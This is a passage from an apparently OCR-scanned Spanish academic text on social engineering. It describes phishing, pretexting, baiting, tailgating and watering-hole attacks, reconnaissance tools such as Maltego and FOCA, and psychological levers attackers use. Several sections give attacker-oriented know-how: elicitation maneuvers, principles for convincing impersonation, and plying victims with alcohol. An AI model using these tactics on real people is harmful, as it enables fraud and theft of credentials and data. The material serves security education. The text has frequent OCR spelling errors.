empresa, calendarios de reuniones, eventos y vacaciones, manuales del sistema,
impresiones de datos confidenciales o nombres de inicio de sesiény contrasefias,
codigo fuente, discos y cintas, membretes, hardware obsoleto... Estas fuentes de
informacidon pueden proporcionar un rico punto de informacién para el pirata
informatico. Las guias telefénicas pueden dar a los piratas informaticos nombres y
numeros de personas a las que apuntary suplantar. Los organigramas contienen
informacion sobre las personas que ocupan puestos de autoridad dentro de la
organizacién. Los manuales de politicas muestran a los piratas informaticos cémo
de segura (o insegura) es realmente la empresa. Los calendarios son geniales:
pueden indicar a los atacantes qué empleados estan fuera de la ciudad en un
momento determinado. Los manuales del sistema, los datos confidenciales y otras
fuentes de informacion técnica pueden proporcionar a los piratas informaticos las
claves exactas que necesitan para desbloquear la red. Por ultimo, el hardware
obsoleto, en particular los discos duros, se puedenrestaurar para proporcionar todo
tipo de informacion util.

e Escuchar a escondidas conversaciones de los empleados, en inglés llamado
eavesdropping, pueden existir diversos tipos, desde escuchar una conversacién de
forma presencial, por teléfono (wiretapping), o datos a través de internet (network
sniffing).

e Suplantacién de identidad (phishing) del correo electrénico, tiene lugar en el
momento en que un atacante envia un mensaje de correo electrénico a un usuario

con la finalidad de engafarle para que piense que el remitente es alguien conocido
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y de confianza. En esos emails pueden afiadirse enlaces a sitios web maliciosos o
adjuntarse archivos infectados con malware. También puede utilizarse la ingenieria
social para persuadir al destinatario de facilitar libremente informacidn confidencial.
Lainformacién del remitente es facil de falsificar y se puede hacer de dos maneras:
o Imitar una direccién de correo electrénico o dominio de confianza utilizando
letras o numeros alternativos para que aparezcan solo ligeramente
diferentes del original.
o Disfrazando el campo ‘De’ para que sea la direccién de correo electrénico
exacta de una fuente conocida y confiable

e Pretextos telefénicos, los atacantes pueden hacer que parezca que sus llamadas
telefénicas provienen de un nimero especifico. Ya sea uno conocido o confiable
para el destinatario, o uno que indique una ubicacién geografica especifica. Los
atacantes pueden utilizar la ingenieria social, a menudo haciéndose pasar por
alguien de un banco o atencién al cliente, para convencer a sus objetivos de que,
por teléfono, proporcionen informacién confidencial, como contrasefias,
informacion de cuentas, nimeros de seguridad social y mas.

e Stalking a los empleados, en las redes sociales, se ha convertido en el escenario
perfecto para realizar el delito de acoso a través de Internet mediante cualquier
conducta: contratacién de servicios mediante el uso indebido de datos personales,
intentar de forma insistente y reiterada contactar con otra persona, o atentar contra

su libertad, para sonsacar informacién confidencial.

3.2.- Baiting

El Baiting es un método de ataque de ingenieria social que es muy similar al phishing, sin
embargo, lo que distingue al Baiting de los otros tipos de ataques de ingenieria social es que el
Baiting es la promesa de un regalo que los piratas informaticos utilizan para atraer a las posibles
victimas. Los atacantes que usan Baiting se conocen como baiters. Los atacantes pueden ofrecer
a la victima potencial la posibilidad de descargar peliculas, musicay juegos gratis si proporcionan
credenciales deinicio de sesién en un sitio web en particular que ha sido creado por el atacante.
Otra forma de Baiting es mediante la cual el atacante lleva a cabo el ataque dejando un
dispositivo infectado con malware (como una unidad USB, una tarjeta MicroSD, etc.) enun area
cerca de empresas, centros comerciales, hospitales, etc. Para asegurarse que alguien encuentre

el dispositivo y conecte el dispositivo en sus ordenadores sin saber que se esta instalando
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malware en sus sistemas. Una vez que se instala el malware, el atacante puede, por lo tanto,

avanzar con el ataquey explotar el sistema.

3.3.- Phishing

El Phishing es la practica de enviar correos electrénicos que parecen provenir de sitios confiables
con el objetivo de influir u obtener informacion personal. Este tipo de ataque puede consistir en
el envio de un correo electrénico a las victimas dénde podria incluir un archivo adjunto que
podria cargar malware (software malicioso) en un ordenador o contener un enlace a un sitio
web ilegitimo. Estos sitios web pueden inducir a la victima a descargar software malicioso o
entregarinformacion y datos personales confidenciales. Es probable que cualquier personaen
el mundo con una direccién de correo electrénico haya recibido un mensaje de phishingy, segin
las estadisticas, muchas personas han hecho clicen cualquier parte del correo electrénico, como
un archivo adjunto o un enlace. Al hacer clic no te conviertes en inutil, es un error que ocurre
cuando no te paras a pensar bien las cosas o simplemente no tienes la informacién para tomar

una buena decisién. El motivo yla motivacién de los phishers suele ser el dinero o la informacién.

3.4.- Pretexting

El Pretexting es la forma de ingenieria social que a menudo implica que el atacante se enfrente
al objetivo u objetivos deseados cara a cara. El atacante a menudo se hace pasar por otra
persona, por ejemplo, un técnicoy hace uso de accesorios, como disfraces, érdenes de trabajo
falsas o uniformes. Uno de los aspectos mas importantes de la ingenieria social es la confianza.
Si el atacante no puede generar confianza entre él y el objetivo, lo mas probable es que falle en
su objetivo. Un Pretexting sélido es una parte esencial para generar confianza hacia el objetivo.
El atacante al usar este método de ingenieria social se inventa historias ficticias contal de poder
acceder a su objetivo, que suelen ser datos. Los atacantes mds profesionales intentaran
manipular a la victima para que realice determinadas acciones que les permitan explotar las
debilidades estructurales de una organizacion o empresa. Un ejemplo de Pretexting seria un
atacante que se hace pasar por un auditor externo de servicios ITy donde manipula al personal
de seguridad de la empresa para que le permita ingresar al edificioy acceder a la infraestructura

de datos.
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3.5.- Spear Phishing

El spear phishing es una estafa por correo electrénico o comunicaciones electrdnicas dirigida a
una persona, organizacion oempresa. Aungue a menudo tienen la intencién de robar datos con
fines maliciosos, los ciberdelincuentes también pueden intentar instalar malware en el
ordenador del objetivo. Llega un correo electrdénico, aparentemente de un remitente confiable,
pero en cambio lleva al destinatario desconocido a un sitioweb lleno de malware. Estos correos
electrénicos a menudo utilizan tacticas para llamar la atencién de las victimas. Por ejemplo,
tener un reembolso de impuestos. Al personalizar sus tacticas de phishing, los spear phishers
tienentasas de éxito mas altas para engafiar a lasvictimas para que otorguen acceso o divulguen

informacion confidencial, como datos financieros o secretos comerciales.

3.6.- Tailgating

Tailgating, también conocido como Piggybacking, es un método de ataque de ingenieria social
mediante el cual un atacante busca ingresar a una zona restringida, donde el acceso es
controlado por sistemas de control de acceso electrénico simplemente caminando detras de
una persona que tiene derechos de acceso. Untipocomun de ataque es unatacante que se hace
pasar por un conductor de repartoy espera fuera de un edificio. Cuando un empleado obtiene
la aprobacion de seguridad y abre la puerta, el atacante pide que el empleado sostenga la
puerta, obteniendo asi acceso de alguien que esta autorizado a ingresar a la organizacion. Sin
embargo, a veces el tailgating no funciona con organizaciones a gran escala, por lo que todas las
personas que ingresan al edificio deben pasar una tarjeta para obtener acceso. Un ejemplo
famoso fue el de Colin Greenless, consultor de seguridad de Siemens Enterprise
Communications. Greenless utilizé tacticas de Tailgating para obtener acceso a varios pisos
diferentes, asicomoa la sala de datos de una firma financiera que cotiza enla FTSE. Incluso pudo

instalarse en una sala de reuniones del tercer piso, en la que trabajo durante varios dias.

3.7.- Scareware

El scareware implica que las victimas sean bombardeadas con falsas alarmas y amenazas
ficticias. Los usuarios son engafiados al pensar que su sistema estd infectado con malware, lo
que les pide que instalen un software que no tiene ningln beneficio real o que es el malware en

si. El Scareware también se conoce como software fraudulento. Un ejemplo comin de
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Scareware son los banners emergentes de apariencia legitima que aparecen en el navegador
mientras navega por la web, mostrando texto como, "Su ordenador puede estar infectado con
programas dafinos de spyware". Ofrece instalar la herramienta o lo dirigird a un sitio malicioso
donde su computadora se infecte. Scareware también se distribuye a través de correo
electrénico no deseado que distribuye advertencias falsas o hace ofertas para que los usuarios

compren servicios inutiles o dafiinos.

3.8.- Shoulder Surfing

El Shoulder Surfing, es una técnica de ingenieria social empleada por los atacantes con el
objetivo de conseguir informacién de un usuario en concreto. Puede parecer mentira, pero es
una técnica muy provechosa, que permite robar credenciales, contactos, cddigos de desbloqueo
(PIN, patrdn, etc.), incluso datos bancarios. El éxito reside enla sencillez y paciencia del atacante,
y es que ninguno de nosotros llega a ser consciente cuando viajamos en metro, en el autobus o
en tren de que, quien se sienta a nuestro lado o se encuentra muy proximo a nosotros, puede
estar observando nuestros movimientos en el dispositivo con intenciones maliciosas. Mediante
la tecnologia de hoy en dia, el atacante puede hacer uso de diferentes dispositivos, para ayudar

a conseguir su objetivo, desde minicdmaras, prismaticos, moviles...

3.9.- Office Snooping

Esta técnica parecida a la anterior es aprovechar el momento en que la victima se ausentade su
lugar de trabajo para revisar y ojear toda la informacioén visible y accesible que has dejado por
exceso de confianza. Estos posibles datos pueden llegar a ser, contrasefias apuntadas en un

papel, sesiones abiertas de ordenador, etcétera.

3.10.- Quid Pro Quo

El atacante consigue informacién a cambio de un tedrico beneficio. Hay varios ejemplos, uno
tipico, que ademas es ingenieria social inversa, es que el atacante provoca algun tipo de
problema en tu ordenador, por ejemplo, interfiere la banda de la red wifi y de pronto no tienes
acceso a Internet. Casualmente recibes una llamada, “Hola, soy del departamento de IT, esta

mafana estamos teniendo algunos problemas con el acceso a Internet, ¢ puedes intentar
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navegar?”, por supuesto no puedes, el atacante ird ganando tu confianza hasta que, para
solucionarlo, te pedird las credenciales de acceso, al darselas, en un minuto, el problema
desaparece, no parece necesario avisar a seguridad. Otro ejemplo tipico es la supuesta
realizacion de un estudio para una importante compafiia y solo por responder te hardan un
regalo, entre las preguntas que contestaras seguramente habrd alguna relacionada con las

preguntas de seguridad, elnombre de tu mascota, cualfue tu primer coche...

3.11.- Watering Hole

Este tipo de ataques estdn enfocados a compaiiias, con altos niveles de seguridad, enlas que los
usuarios visitan asiduamente sitios web de confianza relacionados con el contenido de la
organizacion. Estos sitios web, han sido previamente estudiados e infectados por los atacantes,
quienes suelen realizar primero un perfil de las potenciales victimas llevando a cabo un estudio
de sus costumbres. Una vez el empleado de la compafiia objetivo visite el sitio web infectado,
como suele hacer a menudo, infectara su equipo con malware que permitird a los atacantes

tomar el control del equipo del empleadoy poder asiespiary robar informacién de la compafiia.

Una vez que se ha fijado el objetivo del ataque, los ciberdelincuentes, centran sus esfuerzos en
observar el tréfico de la compafia a atacar, haciendo especial hincapié en aquellos sitios
visitados asiduamente y recogiendo la mayor informacidn posible para crear un perfil concreto
de la victima. Cuando el usuario seleccionado visita la web de confianza, los ciber atacantes,
tratan de explotar las vulnerabilidades de su navegador y al mismo tiempo, le redirigen a un

servidor malicioso donde podran instalarle un malware que permita el control del equipo.
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4.- Métodos y técnicas para la generacion de Ataques

En el apartado anterior, nos hemos centrado en los diferentes tipos de ataques que tiene la
ingenieria social. En este apartado, profundizaremos sobre las metodologias, el funcionamiento
y estrategias masutilizadasy hablaremos sobre las distintas herramientas de las que se disponen
para perpetrar los ataques. La ingenieria social, tiene como punto fuerte la psicologia, dado que

con ella, se podra extraer de una manera mas eficiente la informacién, que anhela el atacante.

Por todo ello, el primer método del que vamos a hablar sera referente a la obtencion de la
informacidn. Nos centraremos en las maniobras que se utilizan para esa extraccion de la

informacion.

4.1.- Método para la obtencion de informacion

Como hemos comentado anteriormente, las técnicas de sonsacar la informacién (Education I.
G.-S., 2022), son uno de los aspectos mas poderosos de la Ingenieria social. Son técnicas que
pueden cambiar la forma de como enfocar la seguridad. Las maniobras de obtencién de
informacion consisten en provocar, sonsacar o llevar a una conclusién a alguien a través de la
l6gica. Pueden entenderse como una estimulacion que expone una clase de conducta particular.
En otras palabras, tener la capacidad de formular preguntas que puedan sonsacar a la gente y
empujarlas a adoptar el comportamiento que el atacante desee. Enel apartadoanterior hemos
hablado de diferentes tipos de ataque. Alguno de ellos su principal objetivo era poder obtener
informacién de la victima, como ejemplos explicados anteriormente podemos tener: Dumpster
diving, Eavesdropping, Piggybacking y tailgating, Shoulder surfing, Office snooping, Baiting, Quid

Pro Quo.

A parte de estas, existe otrotipo de técnicas, como, por ejemplo:

e Google hacking: se refiere a la actividad de utilizar el motor de busqueda de Google y
varios operadores de busqueda para refinar los resultados. El motor de busqueda de
Google es extremadamente agil y agresivo en su indexacién, lo que a veces da como
resultado que la informacién se indexe sin el conocimiento de la organizacién. Un
atacante puede utilizar la informacién indexada por Google para preparar o adaptarsu

ataque y luego proceder. "Google Hacking" solia dominar la fase de reconocimiento,
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pero ahora su uso esta en declive. El auge de las herramientas de recopilacién de
informacion la ha desplazado como sistema alternativo de extraccién de informacién.
Herramientas de recopilacién de informacién: Enlos ultimos afios se hancreadoalgunas
herramientas de inteligencia de cédigo abierto (OSINT), herramientas que pueden
ayudar a los defensores a proteger mejor sus activos de informacién o ayudar a los
atacantes a simplificar la fase de reconocimiento. Dos de estas herramientas son
Maltego (por Paterva) y FOCA (por Informatica64). Maltego actia como una interfaz
para la busqueda de Google y otros servicios de busqueda (registros de WHOIS,
servidores de claves PGP, etc.). La tarea principal que realiza Maltego es comenzar con
una entrada simple y construir un arbol de informacién alrededor de esa entrada. La
entrada puede ser el nombre de una empresa, un nombre real o incluso una direccién
de correo electrénico. Al centrarse enesa entraday mostrar las asociaciones, se puede
construir un arbol de informaciéon completo que se puede utilizar para adaptar un
ataque de ingenieria social y maximizar sus posibilidades de éxito. Aunque Maltegono
ofrece ninguna informacién nueva, en comparacion con la informacién disponible a
través de Google, facilita enormemente la fase de reconocimiento al poder automatizar
las busquedas y al poder representar graficamente los enlaces entre los resultados de
busqueda. FOCA por su parte, es un analizador de metadatos de archivos. Durante la
fase de reconocimiento, el ingeniero social puede usar FOCA para identificar
documentos en el sitio web de destino, extraer informacion de metadatos como
direcciones de correo electrénico, nombres de usuario, software utilizado y también
identificar una pequena cantidad de vulnerabilidades de seguridad. El atacante puede
utilizar la informacién en uno de los dos escenarios siguientes:

o Crear historias de fondo personalizadas para usar antes del ataque: siel usuario
A crea/publica todos los documentos relacionados con las finanzas, entonces el
usuario A sera mas susceptible a la historia de fondo relacionada con asuntos
financieros.

o Explotar vulnerabilidades técnicas: silos documentos PDF publicados se crean
con una version vulnerable de Adobe PDF, el atacante puede personalizar un
ataque para que se ejecute contra esa versidon de software especifica,
mejorando asisus probabilidades de éxito.

Redes Sociales: Se ha demostrado que el uso extendido de las redes sociales es un punto
focal para la escalada de ataques de ingenieria social. La informacién que solia ser
privada vy dificil de adquirir ahora es compartida voluntariamente por los propietarios

de la informacién, lo que facilita enormemente la fase de reconocimiento para los
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ingenieros sociales. Un atacante puede utilizar las redes sociales para adquirir
informacién sobre: los intereses de las victimas, sus redes sociales, su ausencia y
presencia en areas/eventos especificos y calificaciones.

e Reconocimiento de Whois: Whois es el nombre de un servicio que contiene gran
cantidad de informacidn sobre sitios web. Estos datos pueden ser, por ejemplo, correos
electrdnicos, nimeros de teléfono, direcciones IP, ... informacion atil, por ejemplo, para
perfilar una empresay detectar informacion de esta.

e Servidores publicos: Si el objetivo es una empresa u organizacion. Los servidores de
acceso publico son un buen punto de partida. Hay herramientas que pueden informar

sobre estos servidores y, por lo tanto, sobre la propia empresa mas que el sitioweb.

A parte de las técnicas comentadas con anterioridad, también existen otras diferentes
técnicas para extraer informacién de una manera mas personal, mediante las relaciones
sociales. En el primer paso para obtener éxito en la obtencién de informacion se deben

dar, en general, estas caracteristicas (que compartimos la mayoria de los seres

humanos):

e Lacordialidad de la gente con extrafios.

e Los profesionales quieren parecer inteligentes y bien informados.

e El halago es una manera de abrirse y dar la posibilidad a difundir mas
informacion.

e lLagente no miente por mentir.

e La mayoria de la gente responde amablemente ante quienes parecen

preocupados por ellas.

Mediante el listado anterior mas la conjuncién de ciertas cualidades que debe de tener un

atacante, podrantener mayor tasa de éxito estas cualidades:

e Naturalidad, dado que si existe la mas minima incomodidad se puede llegar a perder
una conversion.

e Formacion para disponer de una conversacién con el objetivo, y saber responder en
todo momento.

e Ser avaricioso, no se debe exprimir al maximo para obtener mas informacién, dado que

se puede perder una oportunidad.
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Una vez comentadas las cualidades que se deben de tener para crear una conversacionentre el
atacante y su victima, se describiremos las maniobras para la obtencién de la informacion

(Hadnagy, 2011):

e Apelar al ego de una persona consiste en realizar un halago a la persona de la cual
quieres obtener una informacién relevante y aprovechando la aceptacién del halagoy,
que la persona baje la guardia, se puede esperar una ampliacion de informacién, que
puede llegar ainteresar al atacante.

e Expresarinterés mutuo es otra estrategiaigual de poderosa que la anterior y consiste
en compartir un interés con la victima ofreciéndole ayuda e informacién sobre un
interés que ambas partes comparten, la victima muy probablemente exponga su estado
actual en la materia, para orientar a la persona, que supuestamente le quiere ayudar y
facilitar su labor. El atacante compartira informacién que le interese asi atrayendo a la
victima y creando un vinculo a largo plazo, dando la opcién a obtener mas informacién,
cuando lo crea oportuno.

e Hacer una afirmacidn falsa intencionadamente durante una charla en un lugar con
expertos o trabajadores de la empresa, que se quiere atacar, puede provocar la
correccion por parte de una de las victimas que de forma inconsciente expondra datos
reales que el atacante podrd obtener de forma sencilla.

e Ofrecer informacion voluntariamente en una reunién, este hecho suele provocar que
los participantes de la conversacionse sientan obligados a compartir informacion de un
nivel o trascendencia, parecidos.

e El conocimiento asumido esta estrategia se suele ver en conversaciones donde varios
expertos de un tema intercambian datos de interés y donde el atacante interviene en
alglin momento para demostrar un nivel de conocimiento apto para poder seguiren la
misma. En ese momento, si el atacante es capaz de compartir una opinién sdlida e
interesante, aunque esté basado en un conocimiento inferior, los demas integrantes le
otorgaranun cachey una credibilidad y seguirdn compartiendo informacién importante
como si el propio atacante ya conociera.

e Utilizar los efectos del alcohol, dado que tiene un efecto desinhibidor en las personas
que lo consumen, la estrategia de compartir una bebida alcohdlica, mientras se trata
una conversacion puede producir que la victima comparta informacién que, sin haber
consumido alcohol, probablemente no compartiria.

e El arte de hacer preguntas, realizar preguntas oportunas en el momento indicado son

probablemente una de las mejores armas para la obtencién de informacién. Los
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ingenieros sociales deben dominar esa capacidad, asicomo conocer los diferentes tipos

de preguntas que existeny cuando usarlas.

4.2.- El pretexto

El pretexto, otambién la suplantacion, ya comentada con anterioridad, es una técnica o método,

para convertirse en otra persona, y de este modo, incitar al objetivo a que proporcione cierta

informacién o a que realice cierta accion.

Para llevar a cabo el pretexto, es muyimportante seguir una serie de principios o requisitos para

poder aplicarlo correctamente.

Cuanta mas investigacion se realice, mayor probabilidad de éxito.

Involucrar los intereses propios, hara que sus opciones aumenten. Eso dard una mayor
realidad a la suplantacion y facilitard la credibilidad.

Tener la capacidad de aprendizaje de otras lenguas, dialectos o expresiones tipicas hara
ganar mayor credibilidad.

Hablar por teléfono. Parece mentira, pero este mecanismo puede llegara seruna de las
herramientas mas poderosas que puede disponer un ingeniero social.

La simplicidad y la espontaneidad del pretexto, suele venir acompafiado de éxito.
Proporcionar al objetivo una conclusién ldgica, para satisfacer sus expectativas. Dado

que de esta manera el objetivo no tendra dudas sobre sucredibilidad.

4.2.1.-Tipos de Pretexto

Existentres tipos de pretexto:

Suplantacion légica: Este tipo de ataque trata de engafiar a las victimas de forma
telematica, como puede ser correo electronico, teléfono, o SMS.

Suplantacion fisica: En este caso, es el arte de hacerse pasar por otra persona para
cometer el ataque. Se basa en un estudio previo de la persona, como pueden ser, sus
rutinas, su manera de hablar, sus costumbres, ..., para poder de alguna manera ser
sustituidoy pasar como sifuera la victima.

Suplantacidn digital: esta técnica cada vez se usa masdado que permite realizar trdmites

legales e interacciones sociales suplantandola identidad de una persona de una manera
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relativamente sencilla, y haciendo creer al restode usuarios que eres una persona que

en verdad no eres, pudiendo recopilar informacion para el ataque.

4.3.- La psicologia en la ingenieria social

La ingenieria social no solo involucra elementos psicolégicos para el atacante, sino que también
hay factores psicolégicos que afectana las victimas. Los piratasinformaticos explotan con mayor
frecuencia las emociones y comportamientos humanos en el uso de un ataque de ingenieria
social, como, por ejemplo, el miedo, la obediencia, la codicia y la amabilidad. Las emociones
humanas son un aspectocriticode la seguridad, ya que no se pueden mejorar realmente con el
proposito de la seguridad, ya que son comportamientos que las personas realizan
instintivamente, mediante el uso de la capacitacidn. No hay garantia de que todas las personas
puedan detectar un ataque de ingenieria social y prevenir que suceda. Esto se debe a que un
ingeniero social utilizara diferentes aspectos para asegurarse de explotar el elemento que esta
atacandoyextraer los datos que necesita. Haytres aspectos clave de la psicologia social que nos

ayudan a comprender los métodos utilizados por los ingenieros sociales, que incluyen:

e Usarrutas alternativas a la persuasion.
e Actitudesy creencias que afectanlas interacciones humanas.

e Técnicas de persuasion e influencia.

4.3.1.- Emociones y comportamientos humanos

La Ingenieria Social es el arte de la manipulacion y el acto de la pirateria humana. Las formasy
los medios de piratear el elemento humano de seguridadse reducen a la capacidad de influir o
manipular las emociones y el comportamiento de las victimas. La emocion es la clave para
aumentar la probabilidad de tener éxito, como realizar un comportamiento deseado. Las
emociones son la fuerza motivadora detrds del comportamiento y proporcionan los objetivos
que dan forma y dirigen nuestras decisiones. Analizar cdmo las tacticas de ingenieria social, las
interaccionesy el lenguaje corporal afectanlas emociones, proporciona una perspectiva nueva

y reveladora sobre lo que realmente estd sucediendo.

Algunas de las emociones y comportamientos que los ingenieros sociales pueden tratar de

utilizar a su favor a través de la influencia o la manipulacién incluyen:
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e Autoridad: como ingeniero social, posicionarse como una autoridad sobre su objetivo
puede ayudar en gran medida a tener éxito.

e Captarla simpatia: la mayoria de los empleados quieren impresionar al jefe, por lo que
hardn todo lo posible para proporcionar la informacidn requerida a cualquier persona
con poder.

e Difusidn de la responsabilidad: en esta técnica, se hace que los objetivos sientan que
no pueden ser considerados responsables de sus acciones. Pueden verse aun mas
comprometidos cuando se les hace sentir que cualquier accién que tomen sera por el
bien comun.

e Miedo: Como uno de nuestros motivadores mds poderosos, el miedo es posiblemente
la emociéon mas cominmente manipulada cuando se trata de campafias de ingenieria
social.

e Culpa: La emocién que se puede experimentar cuando nos enfrentamos a las acciones
dafiinas realizadas por nuestro grupo contra un grupo fuera de grupo. Es mds probable
gue se experimente cuando las acciones dafiinas se consideranilegitimas.

o Obediencia: se refiere al uso de la autoridad, la obediencia es el cumplimiento de las
6rdenes de una persona de estatus social superior dentro de una jerarquia definida o
cadena de mando.

e Sobrecarga: cuando la informacién llega demasiado rapido, el medio humano
experimenta sobrecarga. La mente entra en un modo pasivo y la victima tendera a
aceptar lainformacién ya que ya no puede escudriiiarla ni procesarla.

e Confianza: tener la creencia de que otras personas son generalmente confiables en
oposicion a la creencia de que los demas generalmente no son confiables o poco
confiables.

e Codicia: en el caso de las campafias de codicia-explotacién, estas rutinariamente
ofrecen una recompensa generalmente monetaria por realizar una accién especifica,
estose refiere al cebo como una forma de ataque.

e Ayuda: es el cuarto comportamiento humano que se explota comunmente, ya que los

individuos tienen la voluntad de ayudar a otra persona o un grupo.

4.3.2.-Influencias sociales

La influencia social implica conformarse para ser aceptado o querido por un grupo, donde no

necesariamente uno realmente crea las cosas que esta haciendo o diciendo. Esta tendencia se

47



debe al hecho de que uno de los instintos mas basicos es estar en un grupo social de algun tipo.
Estose debe a que cuando un grupo de personas se relinen y quieren permanecer juntas, debe
haber algun grado de acuerdo en cuanto a reglas, moral y comportamientos, porque de lo
contrario habria problemas entre los miembros. La influencia social puede ser un factor
importante para llevar a cabo en métodos de ingenieria social porque es probable que las
personas sigantendencias o normas sociales. Dadas esas tendencias los atacantesse dirigirana
sus victimas potenciales, buscando un llamado objetivo facil para extraer la informacion que

deseande ellos.

4.3.3.-Teorias psicoldgicas relacionadas con la ingenieria social

Una teoria es un marco basado en hechos para describir un fenémeno. En psicologia, las teorias
se utilizan para proporcionar un modelo para comprender los pensamientos, emociones y
comportamientos humanos. Una teoria psicoldgica tiene dos componentes clave: debe describir
un comportamiento y debe hacer predicciones sobre comportamientos futuros. La Ingenieria
Social incluye factores de la psicologia, asi como teorias psicolégicas, algunas teorias que se
relacionan con la ingenieria social, son teorias del engafioy teorias de la confianza. El engafioy
la confianza son dos elementos clave dentro de la ingenieria social, ya que cualquier persona
que emprenda un método de ataque de Ingenieria Social tendra que ganarse la confianza de su
victima potencial con un nivel de engafio. Esta seccion analiza dos teorias psicolégicas que se
basanenel engafioyla confianza. Estas teorias son la Teoria del Engafio Interpersonalyla Teoria

de la Manipulacién de la Informacion.
Teoriadel engaio interpersonal

La teoria del engafio interpersonal representa una fusién entre la comunicacion interpersonaly
los principios del engafio. Al mismo tiempo, tiene el potencial de iluminar teorias relacionadas
con la credibilidad, la comunicacién verazy la comunicacién interpersonal. La teoria del engafio
interpersonal es un proceso interactivo. El uso de esta teoria se basa en cdmo los individuos
hacen interacciones dentro de la realidad real o como son percibidas en el consciente o

inconsciente mientras estaninvolucrados en la comunicacion cara a cara.
Teoriade la manipulacion delainformacién

La manipulacion es el comportamiento que influye en alguien o controla algo de una manera
inteligente o deshonesta. La manipulacion se puede hacer para engafiar a las personas con

respecto a un producto, persona, datos o informacidn. La gestidn engafiosa de la informacion
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dada por el remitente con el fin de proporcionar a un receptor una percepcion de esa misma
informacion que el remitente cree que es falsa se conoce como manipulacion de la informacién.
La teoria de la manipulacién de la informacién sugiere que los mensajes engafiosos funcionan
de manera engainosa porque violan encubiertamente los principios que rigen los intercambios.
Dado que los interactuantes poseen suposiciones con respecto a la cantidad, calidad, formay
relevancia de la informacién que debe presentarse, es posible que los manipuladores exploten
cualquiera o todas estas suposiciones manipulando la informacién que poseen para engafiar a

los oyentes.

4.3.4.-PNL

La PNL, programacion Neurolinglistica (Delgado, 2021), se basa en una serie de estrategias que
tratan de identificar y aprovechar modelos de pensamiento y actuar directamente sobre el

comportamiento de una persona a la hora de tomar decisiones.

La PNL fue creada por el matematicoRichard Badlery el linglista John Grinder en la década de
los afios 70. Buscaban crear un modelo formal y coherente del funcionamiento de la mente
humana a partir de una recopilacién de estudios, investigaciones y técnicas. Para ellose basaron
en tres aspectos relacionados con la forma que tienen las personas en interactuar con su

entorno.

e Visuales: Sonaquellas personas que experimentan el mundo principalmente a través del
sentidode la vista. Dan un pesomayor a la parte visual de la comunicacion, acostumbran
a serlocuaces y de pensamiento rapido.

e Auditivas: Eneste caso, sonlas personasque experimentanlo que acontece en el mundo
exterior a través del sentido de la oida. Por ese motivo, procesan la informacién de
forma secuencial, mas ordenaday pausadamente.

e Kinestésicas: Las personas kinestésicas dan una mayor importancia a la interaccién

fisica, es decir al contacto.

Una vez se detecta cudl es el aspecto dominante de la persona, permite interactuar con ella de
una forma mas facil. Si el atacante es capaz de detectar cual de los tres aspectos es mas
dominante en la victima, podrd encontrar la forma para que sumensaje sea mejor interpretado

por la misma.
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La PNL se puede utilizar como parte de los ataques de ingenieria social, ya que ayuda al atacante

a recopilar informacion sobre sus victimas potenciales a través del uso de perfiles de PNL.

4.3.5.-Sesgos cognitivos

Un sesgocognitivo es un error sistematicoen el pensamiento que afecta las decisiones y juicios
gue las personas hacen. A veces estos sesgos estan relacionados con la memoria. La forma en
gue una persona recuerda un evento puede estar sesgada por varias razonesy eso a su vez
puede conducir a un pensamientoy una toma de decisiones sesgados. Enotro caso, los sesgos
cognitivos pueden estar relacionados con problemas de atencion. Dado que la atencién es un
recurso limitado, las personas tienen que ser selectivas sobre a qué prestan atencion en el
mundo que las rodea. Debido a esto, los sesgos sutiles pueden colarse e influir en la forma en
que vemos y pensamos sobre el mundo. Cuando estamos haciendo juicios y decisiones sobre el
mundo que nos rodea, nos gusta pensar que somos objetivos, légicos y capaces de tomar y
evaluar toda la informacién que esta disponible para nosotros. La realidad es, sin embargo, que
nuestros juicios y decisiones a menudo estan plagados de errores e inducidos por una amplia
variedad de sesgos. Los sesgos cognitivos, si se usan correctamente, pueden ayudar a un
atacante a influir en sus victimas para que realicen cualquier forma de accién o manipulen sus

comportamientos, altiempo que afectansu juicio sobre el ataque.

4.3.6.- Micro expresiones

Las expresiones faciales pueden proyectar los sentimientos de una persona y la mayoria de las
personas son capaces de reconocer una serie de expresiones faciales para reaccionar ante ellas.
Los ejemplos mas comunes son: tristeza, miedo, felicidady sorpresa. Estas expresiones faciales,
“macroexpresiones”, hansido estudiadas y comprendidas durante mucho tiempo por psicélogos
y la mayoria de los investigadores coinciden en que estas expresiones pueden ser falsificadas.
Sin embargo, Paul Ekman demostré que existe un segundo conjunto de expresiones faciales,
llamadas "micro 18 expresiones" que transmiten la misma importancia que la proyeccion de
emociones, pero no pueden ser falsificadas, o es extremadamente dificil para cualquiera
fingirlas. Estas microexpresiones tienen lugar de forma involuntaria y en ventanas de tiempo
extremadamente cortas. La mayoria de las personas noson conscientes de las microexpresiones
que estan proyectando ni son capaces de reconocer las microexpresiones de otras personas.

Esto deja una gran oportunidad para que un atacante de Ingenieria Social desarrolle sus
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habilidades de lectura de microexpresiones utilizando el Sistema de Codificacion de Accién
Facial (FACS) de Ekmany pueda reaccionar a las emociones proyectadas involuntariamente por
la victima. Un atacante de ingenieria social con capacitacion en FACS puede reconocer que la
victima se siente feliz y contenta, o infeliz y asustada, y ajustar su enfoque en consecuencia. Al
mismo tiempo, la victima, al no comprender que revelan sus emociones a través de
microexpresiones, se vuelve mas susceptible al identificarse con el atacante, una sensacion de

ser comprendida sin necesidad de pronunciar ninguna palabra.

4.3.7.- Compenetracion instantanea

La compenetracion instantanea es importante porque a veces el éxito de un ingeniero social
depende de desarrollar rapidamente un vinculo afectivo, de modo que la victima se sienta
cémoda compartiendo informacion. De hecho, una gran parte deltrabajo delingeniero social es
obtener la informacién necesaria para comprometer a su objetivo. Con frecuencia, esto significa
interactuar conla gente. Por lotanto, la capacidad de crear una relacién, dicho en otras palabras,
la capacidad de construir una relaciéon que incluya el afecto y la comodidad mutuos es

importante.

4 .3.8.- Desbordamiento de bufer humano

Este concepto (Thehhonestpirate, 2022) ha sido emparejado con el concepto de
desbordamiento de bufer de un programa. El concepto tiene el mismo significado o la misma
filosofia. En una aplicacion cuando existe un desbordamiento de bufer el programa se colapsay
genera un error en el programa, generando una falla no controlada. En el caso de la victima, el
desbordamientoserd de sucerebroy sera Util para el ingenierosocial para ver si puede sonsacar
informacidon comprometida, para ello atacard su subconsciente mediante diferentes técnicas

para su posible extraccion de datos.

4.4.- Explotacién y ejecucion

Los ataques de ingenieria social se pueden dividir en dos categorias principales. Una categoria
describe los ataques que se ejecutan cara a cara, requieren comunicacion interpersonal y se

ejecutan Unicamente manipulando el sentido de confianza de la victima. La segunda categoria

51



describe los ataques que se ejecutan a través de una plataforma técnica y aunque explotan el
